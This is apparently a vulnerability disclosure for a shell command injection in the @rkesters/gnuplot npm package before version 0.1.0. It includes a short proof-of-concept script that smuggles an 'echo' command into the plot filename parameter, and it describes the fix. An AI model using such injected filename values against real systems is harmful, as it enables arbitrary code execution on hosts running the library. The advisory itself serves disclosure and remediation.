Summary
The @rkesters/gnuplot package prior to version 0.1.0 allows code execution via shell metacharacters in Gnuplot commands.
Product
@rkesters/gnuplot prior to 0.1.0.
Impact
Code execution is possible when creating a plot object. There isn’t any sort of sanitization to the parameters that are passed during the object creation so shell code can be injected through the filename parameter that is then concatened and executed with child_process.exec.
Steps to reproduce
Create a poc.js file with the following code:
const {plot} = require('@rkesters/gnuplot');
plot({
data: [ 1, 2, 3 ],
filename: 'output.png"}"&echo vulnerable > success""',
format: 'svg'
});
Then run the file poc.js (e.g. node poc.js).
Expected result:
A file success will be created with the text vulnerable inside.
Remediation
This issue was fixed in version 0.1.0 through the commit.
The filename is validated using an NPM package called filenamify.
Credit
This issue was discovered and reported by Checkmarx SCA Security Researcher
Mário Teixeira.